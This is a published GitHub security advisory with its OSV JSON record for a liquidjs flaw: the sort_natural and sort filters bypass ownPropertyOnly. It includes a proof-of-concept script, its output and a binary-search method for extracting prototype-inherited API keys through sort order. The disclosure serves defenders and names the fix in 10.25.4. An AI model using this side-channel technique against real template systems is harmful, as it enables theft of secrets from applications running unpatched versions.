GHSA-RV5G-F82M-QRVV
Vulnerability from github – Published: 2026-04-08 15:04 – Updated: 2026-04-09 14:29Summary
The sort_natural filter bypasses the ownPropertyOnly security option, allowing template authors to extract values of prototype-inherited properties through a sorting side-channel attack. Applications relying on ownPropertyOnly: true as a security boundary (e.g., multi-tenant template systems) are exposed to information disclosure of sensitive prototype properties such as API keys and tokens.
Details
In src/filters/array.ts, the sort_natural function (lines 40-48) accesses object properties using direct bracket notation (lhs[propertyString]), which traverses the JavaScript prototype chain:
export function sort_natural<T> (this: FilterImpl, input: T[], property?: string) {
const propertyString = stringify(property)
const compare = property === undefined
? caseInsensitiveCompare
: (lhs: T, rhs: T) => caseInsensitiveCompare(lhs[propertyString], rhs[propertyString])
const array = toArray(input)
this.context.memoryLimit.use(array.length)
return [...array].sort(compare)
}
In contrast, the correct approach used elsewhere in the codebase goes through readJSProperty in src/context/context.ts, which checks hasOwnProperty when ownPropertyOnly is enabled:
export function readJSProperty (obj: Scope, key: PropertyKey, ownPropertyOnly: boolean) {
if (ownPropertyOnly && !hasOwnProperty.call(obj, key) && !(obj instanceof Drop)) return undefined
return obj[key]
}
The sort_natural filter bypasses this check entirely. The sort filter (lines 26-38 in the same file) has the same issue.
PoC
const { Liquid } = require('liquidjs');
async function main() {
const engine = new Liquid({ ownPropertyOnly: true });
// Object with prototype-inherited secret
function UserModel() {}
UserModel.prototype.apiKey = 'sk-1234-secret-token';
const target = new UserModel();
target.name = 'target';
const probe_a = { name: 'probe_a', apiKey: 'aaa' };
const probe_z = { name: 'probe_z', apiKey: 'zzz' };
// Direct access: correctly blocked by ownPropertyOnly
const r1 = await engine.parseAndRender('{{ users[0].apiKey }}', { users: [target] });
console.log('Direct access:', JSON.stringify(r1)); // "" (blocked)
// map filter: correctly blocked
const r2 = await engine.parseAndRender('{{ users | map: "apiKey" }}', { users: [target] });
console.log('Map filter:', JSON.stringify(r2)); // "" (blocked)
// sort_natural: BYPASSES ownPropertyOnly
const r3 = await engine.parseAndRender(
'{% assign sorted = users | sort_natural: "apiKey" %}{% for u in sorted %}{{ u.name }},{% endfor %}',
{ users: [probe_z, target, probe_a] }
);
console.log('sort_natural order:', r3);
// Output: "probe_a,target,probe_z,"
// If apiKey were blocked: original order "probe_z,target,probe_a,"
// Actual: sorted by apiKey value (aaa < sk-1234-secret-token < zzz)
}
main();
Result:
Direct access: ""
Map filter: ""
sort_natural order: probe_a,target,probe_z,
The sorted order reveals that the target's prototype apiKey falls between "aaa" and "zzz". By using more precise probe values, the full secret can be extracted character-by-character through binary search.
Impact
Information disclosure vulnerability. Any application using LiquidJS with ownPropertyOnly: true (the default since v10.x) where untrusted users can write templates is affected. Attackers can extract prototype-inherited secrets (API keys, tokens, passwords) from context objects via the sort_natural or sort filters, bypassing the security control that is supposed to prevent prototype property access.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 10.25.3"
},
"package": {
"ecosystem": "npm",
"name": "liquidjs"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "10.25.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-39412"
],
"database_specific": {
"cwe_ids": [
"CWE-200"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-08T15:04:39Z",
"nvd_published_at": "2026-04-08T20:16:25Z",
"severity": "MODERATE"
},
"details": "### Summary\n\nThe `sort_natural` filter bypasses the `ownPropertyOnly` security option, allowing template authors to extract values of prototype-inherited properties through a sorting side-channel attack. Applications relying on `ownPropertyOnly: true` as a security boundary (e.g., multi-tenant template systems) are exposed to information disclosure of sensitive prototype properties such as API keys and tokens.\n\n### Details\n\nIn `src/filters/array.ts`, the `sort_natural` function (lines 40-48) accesses object properties using direct bracket notation (`lhs[propertyString]`), which traverses the JavaScript prototype chain:\n\n```typescript\nexport function sort_natural\u003cT\u003e (this: FilterImpl, input: T[], property?: string) {\n const propertyString = stringify(property)\n const compare = property === undefined\n ? caseInsensitiveCompare\n : (lhs: T, rhs: T) =\u003e caseInsensitiveCompare(lhs[propertyString], rhs[propertyString])\n const array = toArray(input)\n this.context.memoryLimit.use(array.length)\n return [...array].sort(compare)\n}\n```\n\nIn contrast, the correct approach used elsewhere in the codebase goes through `readJSProperty` in `src/context/context.ts`, which checks `hasOwnProperty` when `ownPropertyOnly` is enabled:\n\n```typescript\nexport function readJSProperty (obj: Scope, key: PropertyKey, ownPropertyOnly: boolean) {\n if (ownPropertyOnly \u0026\u0026 !hasOwnProperty.call(obj, key) \u0026\u0026 !(obj instanceof Drop)) return undefined\n return obj[key]\n}\n```\n\nThe `sort_natural` filter bypasses this check entirely. The `sort` filter (lines 26-38 in the same file) has the same issue.\n\n### PoC\n\n```javascript\nconst { Liquid } = require(\u0027liquidjs\u0027);\n\nasync function main() {\n const engine = new Liquid({ ownPropertyOnly: true });\n\n // Object with prototype-inherited secret\n function UserModel() {}\n UserModel.prototype.apiKey = \u0027sk-1234-secret-token\u0027;\n\n const target = new UserModel();\n target.name = \u0027target\u0027;\n\n const probe_a = { name: \u0027probe_a\u0027, apiKey: \u0027aaa\u0027 };\n const probe_z = { name: \u0027probe_z\u0027, apiKey: \u0027zzz\u0027 };\n\n // Direct access: correctly blocked by ownPropertyOnly\n const r1 = await engine.parseAndRender(\u0027{{ users[0].apiKey }}\u0027, { users: [target] });\n console.log(\u0027Direct access:\u0027, JSON.stringify(r1)); // \"\" (blocked)\n\n // map filter: correctly blocked\n const r2 = await engine.parseAndRender(\u0027{{ users | map: \"apiKey\" }}\u0027, { users: [target] });\n console.log(\u0027Map filter:\u0027, JSON.stringify(r2)); // \"\" (blocked)\n\n // sort_natural: BYPASSES ownPropertyOnly\n const r3 = await engine.parseAndRender(\n \u0027{% assign sorted = users | sort_natural: \"apiKey\" %}{% for u in sorted %}{{ u.name }},{% endfor %}\u0027,\n { users: [probe_z, target, probe_a] }\n );\n console.log(\u0027sort_natural order:\u0027, r3);\n // Output: \"probe_a,target,probe_z,\"\n // If apiKey were blocked: original order \"probe_z,target,probe_a,\"\n // Actual: sorted by apiKey value (aaa \u003c sk-1234-secret-token \u003c zzz)\n}\n\nmain();\n```\n\n**Result:**\n```\nDirect access: \"\"\nMap filter: \"\"\nsort_natural order: probe_a,target,probe_z,\n```\n\nThe sorted order reveals that the target\u0027s prototype `apiKey` falls between \"aaa\" and \"zzz\". By using more precise probe values, the full secret can be extracted character-by-character through binary search.\n\n### Impact\n\nInformation disclosure vulnerability. Any application using LiquidJS with `ownPropertyOnly: true` (the default since v10.x) where untrusted users can write templates is affected. Attackers can extract prototype-inherited secrets (API keys, tokens, passwords) from context objects via the `sort_natural` or `sort` filters, bypassing the security control that is supposed to prevent prototype property access.",
"id": "GHSA-rv5g-f82m-qrvv",
"modified": "2026-04-09T14:29:00Z",
"published": "2026-04-08T15:04:39Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/harttle/liquidjs/security/advisories/GHSA-rv5g-f82m-qrvv"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-39412"
},
{
"type": "WEB",
"url": "https://github.com/harttle/liquidjs/pull/869"
},
{
"type": "WEB",
"url": "https://github.com/harttle/liquidjs/commit/e743da0020d34e2ee547e1cc1a86b58377ebe1ce"
},
{
"type": "PACKAGE",
"url": "https://github.com/harttle/liquidjs"
},
{
"type": "WEB",
"url": "https://github.com/harttle/liquidjs/releases/tag/v10.25.4"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "LiquidJS: ownPropertyOnly bypass via sort_natural filter \u2014 prototype property information disclosure through sorting side-channel"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.